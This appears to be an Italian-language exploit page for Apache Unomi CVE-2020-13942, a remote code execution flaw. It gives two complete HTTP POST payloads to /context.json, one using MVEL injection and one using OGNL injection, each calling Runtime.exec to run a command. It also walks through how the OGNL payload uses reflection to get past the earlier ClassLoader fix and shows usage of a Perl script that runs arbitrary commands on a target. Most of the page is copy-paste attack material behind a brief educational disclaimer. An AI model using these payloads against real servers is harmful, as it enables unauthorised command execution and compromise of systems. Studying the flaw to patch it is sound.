
Apache Unomi CVE-2020-13942: Vulnerabilità RCE
Articolo originale del blog sulla vulnerabilità: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
Esistono due vettori RCE: tramite iniezione MVEL e tramite iniezione OGNL. Entrambi i vettori colpiscono codici diversi, sebbene i payload siano relativamente simili. La precedente correzione CVE https://nvd.nist.gov/vuln/detail/CVE-2020-11975 ha tentato di limitare l'esecuzione di espressioni OGNL, ma ha completamente trascurato MVEL. Il CVE-2020-13942 aggira la correzione introdotta nella versione 1.5.1.
Invia le seguenti richieste HTTP usando BurpSuite o curl all'endpoint context.json esposto dal server Unomi e ottieni RCE. Modifica Host e Content-length in base al tuo URL di destinazione e al comando del sistema operativo.
Entrambi i POC possono ricevere HTTP/1.1 400 Header Folding come risposta, il che significa che \r\n sono danneggiati nel payload; prova a copiare-incollare di nuovo.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
Il POC OGNL ha aggirato la restrizione del ClassLoader introdotta dalla versione 1.5.1. Utilizzando l'API di riflessione di Java è possibile creare un oggetto senza attivare il metodo ClassLoader.loadClass che limita le espressioni OGNL valutate.
Analisi dell'espressione OGNL del payload:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") crea un oggetto Class di java.lang.Runtime, dove #this è il riferimento all'oggetto contesto.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] ottiene l'elenco dei metodi della classe Runtime tramite riflessione e sceglie il metodo getRuntime dall'elenco. La parte {^ #this.name.equals(\"getRuntime\")} dell'espressione cerca un metodo con nome getRuntime e restituisce un elenco dei metodi che corrispondono alla condizione; il primo e unico metodo di questo elenco è getRuntime.#runtimeobject = #runtimemethod.invoke(null,null) chiama il metodo getRuntime() e ottiene l'oggetto Runtime.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) ottiene i metodi della classe Runtime e recupera Runtime.exec() con un singolo argomento String dall'elenco dei metodi.#execmethod.invoke(#runtimeobject,\"gnome-calculator\") chiama Runtime.exec() con l'argomento specificato.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
Utilizzo base:
./apache_unomi.pl [options]
options:
./apache_unomi.pl [target:port] [command] [(method 1) - mevel| (method 2) - ognl]
[+]usage:
./apache_unomi.pl http://127.0.0.1:8181 whoami 1
Tutte le informazioni fornite in questa pagina sono solo a scopo educativo. Le informazioni su questo sito web dovrebbero essere utilizzate solo per migliorare la sicurezza dei tuoi sistemi informatici e non per causare attacchi dannosi o distruttivi.
Non dovresti abusare di queste informazioni per ottenere accesso non autorizzato ai sistemi informatici. Inoltre, tieni presente che tentare di hackerare computer di cui non sei proprietario, senza il permesso scritto dei proprietari, è illegale.
Non sarò responsabile per alcun danno diretto o indiretto causato dall'uso delle informazioni fornite su questo sito web.